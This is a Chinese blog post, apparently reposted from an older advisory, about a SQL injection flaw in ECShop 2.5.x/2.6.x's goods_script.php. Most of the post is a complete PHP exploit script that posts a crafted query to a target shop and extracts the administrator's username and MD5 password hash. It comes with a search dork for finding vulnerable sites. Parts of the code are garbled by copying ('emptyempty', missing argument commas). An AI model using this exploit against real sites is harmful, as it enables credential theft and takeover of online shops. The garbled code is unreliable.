ECShop2.5.x&2.6.x 注射漏洞解析

2010年7月21日星期三 | | |

  1. 发布日期:2010-07.19  
  2. 发布作者:Ryat
  3. 影响版本:ECShop2.5.x&2.6.x
  4. 官方地址:www.ecshop.com
  5. 漏洞描述: ECShop2.5.x&2.6.x goods_script.php 没有初始化SQL,导致注射漏洞

    影响2.5.x和2.6.x,其他版本未测试

    goods_script.php44行:injection / admin credentials disclosure exploit  

    1. if (emptyempty($_GET['type']))  
    2.     {  
    3.         ...  
    4.     }  
    5.     elseif ($_GET['type'] == 'collection')  
    6.     {  
    7.         ...  
    8.     }  
    9.     $sql .= " LIMIT " . (!emptyempty($_GET['goods_num']) ? intval($_GET['goods_num']) : 10);  
    10.     $res = $db->query($sql); 


    $sql没有初始化,很明显的一个漏洞:)

    EXP:

    1. #!/usr/bin/php  
    2. <?php  
    3.  
    4. print_r('  
    5. +---------------------------------------------------------------------------+  
    6. ECShop <= v2.6.2 SQL 
    7. by puret_t  
    8. mail: puretot at gmail dot com  
    9. team: http://bbs.wolvez.org  
    10. dork: "Powered by ECShop" 
    11. +---------------------------------------------------------------------------+  
    12. ');  
    13. /**  
    14.  * works with register_globals = On  
    15.  */ 
    16. if ($argc < 3) {  
    17.     print_r('  
    18. +---------------------------------------------------------------------------+  
    19. Usage: php '.$argv[0].' host path  
    20. host:      target server (ip/hostname)  
    21. path:      path to ecshop  
    22. Example:  
    23. php '.$argv[0].' localhost /ecshop/  
    24. +---------------------------------------------------------------------------+  
    25. ');  
    26.     exit;  
    27. }  
    28.  
    29. error_reporting(7);  
    30. ini_set('max_execution_time', 0);  
    31.  
    32. $host = $argv[1];  
    33. $path = $argv[2];  
    34.  
    35. $resp = send();  
    36. preg_match('#href="([\S]+):([a-z0-9]{32})"#'$resp$hash);  
    37.  
    38. if ($hash)  
    39.     exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n");  
    40. else 
    41.     exit("Exploit Failed!\n");  
    42.  
    43. function send()  
    44. {  
    45.     global $host$path;  
    46.  
    47.     $cmd = 'sql=SELECT CONCAT(user_name,0x3a,password) as goods_id FROM ecs_admin_user WHERE action_list=0x'.bin2hex('all').' LIMIT 1#';  
    48.  
    49.     $data = "POST ".$path."goods_script.php?type=".time()."  HTTP/1.1\r\n";  
    50.     $data .= "Accept: */*\r\n";  
    51.     $data .= "Accept-Language: zh-cn\r\n";  
    52.     $data .= "Content-Type: application/x-www-form-urlencoded\r\n";  
    53.     $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";  
    54.     $data .= "Host: $host\r\n";  
    55.     $data .= "Content-Length: ".strlen($cmd)."\r\n";  
    56.     $data .= "Connection: Close\r\n\r\n";  
    57.     $data .= $cmd;  
    58.  
    59.     $fp = fsockopen($host, 80);  
    60.     fputs($fp$data);  
    61.  
    62.     $resp = '';  
    63.  
    64.     while ($fp && !feof($fp))  
    65.         $resp .= fread($fp, 1024);  
    66.  
    67.     return $resp;  
    68. }  
    69.  
    70. ?> 

 

标签分类: 脚本漏洞 网站漏洞 0day SQL注入

 
 
我的QQ空间
小析linux之压缩,解压,打包命令
文件压缩和归档有时候,我们需要把一组文件贮存成一个文件以便备...
 

0 评论:


所有文章收集于网络,如果有牵扯到版权问题请与本站站长联系。谢谢合作![email protected]